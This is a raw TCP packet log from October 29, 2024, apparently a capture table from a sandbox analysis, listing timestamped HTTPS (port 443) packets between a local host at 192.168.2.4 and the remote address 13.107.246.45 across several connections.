Oct 29, 2024 20:38:15.507611036 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.519779921 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.519797087 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.519889116 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.519903898 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.519952059 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.529088020 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.529670954 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.529695034 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.530160904 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.530167103 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.533941031 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.534625053 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.534643888 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.535029888 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.535034895 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.558927059 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.559449911 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.559469938 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.559933901 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.559941053 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.566663980 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.566731930 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.566987991 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.568360090 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.568394899 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.568440914 CET	49869	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.568459034 CET	443	49869	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.571765900 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.571804047 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.572371960 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.572487116 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.572494984 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.623809099 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.623840094 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.623900890 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.623912096 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.623944998 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.623965979 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.658888102 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.659054041 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.659172058 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.659646034 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.659665108 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.659703970 CET	49870	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.659710884 CET	443	49870	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.662811041 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.662858009 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.662974119 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.663151026 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.663170099 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.663276911 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.663449049 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.663677931 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.663713932 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.663731098 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.663743019 CET	49871	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.663748026 CET	443	49871	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.665848017 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.665864944 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.665946007 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.666069031 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.666083097 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.697663069 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.697700977 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.697757006 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.697761059 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.697804928 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.698513985 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.698539019 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.698559046 CET	49872	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.698565006 CET	443	49872	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.701235056 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.701268911 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.701353073 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.701459885 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.701471090 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.738425970 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.738459110 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.738503933 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.738514900 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.738571882 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.750813007 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.750840902 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.750900030 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.750919104 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.750972033 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.769182920 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.769819975 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.769835949 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.770347118 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.770354986 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.853913069 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.853946924 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.854028940 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.854043007 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.854094028 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.901943922 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.902029037 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.902528048 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.902930975 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.902955055 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.902961969 CET	49873	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.902968884 CET	443	49873	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.905872107 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.905914068 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.906017065 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.906178951 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.906193972 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.907867908 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.907895088 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.907962084 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.907979012 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.908004045 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.908024073 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.970217943 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.970249891 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.970302105 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.970326900 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:15.970354080 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:15.970382929 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.084640026 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.084676027 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.084741116 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.084757090 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.084810972 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.097074986 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.097110987 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.097189903 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.097208977 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.097244024 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.097265959 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.200898886 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.200941086 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.201016903 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.201033115 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.201073885 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.253958941 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.253988028 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.254084110 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.254112005 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.254129887 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.254241943 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.315372944 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.315414906 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.315509081 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.315509081 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.315526962 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.315568924 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.318239927 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.318754911 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.318772078 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.319464922 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.319470882 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.391861916 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.391890049 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.391988993 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.392004013 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.392189980 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.414591074 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.415739059 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.418054104 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.418071985 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.418601036 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.418611050 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.418958902 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.418986082 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.419578075 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.419590950 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.430516005 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.430545092 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.430609941 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.430622101 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.430767059 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.430816889 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.452090025 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.452171087 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.452287912 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.466200113 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.466201067 CET	49874	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.466232061 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.466237068 CET	443	49874	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.472317934 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.475323915 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.475339890 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.475831985 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.475838900 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.484496117 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.484524012 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.484574080 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.484582901 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.484637976 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.484637976 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.545206070 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.545317888 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.545388937 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.545474052 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.545527935 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.545789957 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.545830011 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.545885086 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.545902967 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.545917988 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.546232939 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.546299934 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.547228098 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.547290087 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.600044012 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.600074053 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.600411892 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.600429058 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.600632906 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.608228922 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.608409882 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.608504057 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.611803055 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.611835003 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.612004042 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.651663065 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.652584076 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.652606010 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.653297901 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.653304100 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.653599024 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.653621912 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.653841972 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.653865099 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.653913021 CET	49876	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.653920889 CET	443	49876	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.655225992 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.655262947 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.655303001 CET	49875	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.655311108 CET	443	49875	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.656388044 CET	49877	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.656404972 CET	443	49877	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.660790920 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.660823107 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.660917044 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.660933018 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.660979986 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.660979986 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.674582958 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.674604893 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.674756050 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.674772024 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.674828053 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.738300085 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.738333941 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.738430977 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.738446951 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.738507032 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.782247066 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.782290936 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.782360077 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.782361984 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.782428980 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.789441109 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.789463997 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.789540052 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.789555073 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.789597034 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.789597034 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.793531895 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.793574095 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.793608904 CET	49878	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.793620110 CET	443	49878	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.809098959 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.809146881 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.809561014 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.817783117 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.817804098 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.824568987 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.824615955 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.824691057 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.825086117 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.825099945 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.827508926 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.827550888 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.827619076 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.827759981 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.827770948 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.829709053 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.829730034 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.829921007 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.833537102 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.833551884 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.853338003 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.853382111 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.853487015 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.853487015 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.853503942 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.853758097 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.892882109 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.892919064 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.893014908 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.893034935 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.893157005 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.946263075 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.946291924 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.946352959 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.946363926 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.946429968 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.946429968 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.969333887 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.969372034 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.969432116 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.969445944 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:16.969485998 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:16.969537020 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.020116091 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.020153046 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.020215988 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.020234108 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.020257950 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.020345926 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.083928108 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.083960056 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.084079981 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.084079981 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.084099054 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.084180117 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.109877110 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.109919071 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.109960079 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.109972000 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.110028028 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.110065937 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.159310102 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.159348011 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.159418106 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.159440994 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.159477949 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.159498930 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.201239109 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.201276064 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.201422930 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.201437950 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.201508999 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.237376928 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.237409115 CET	443	49863	13.107.246.45	192.168.2.4
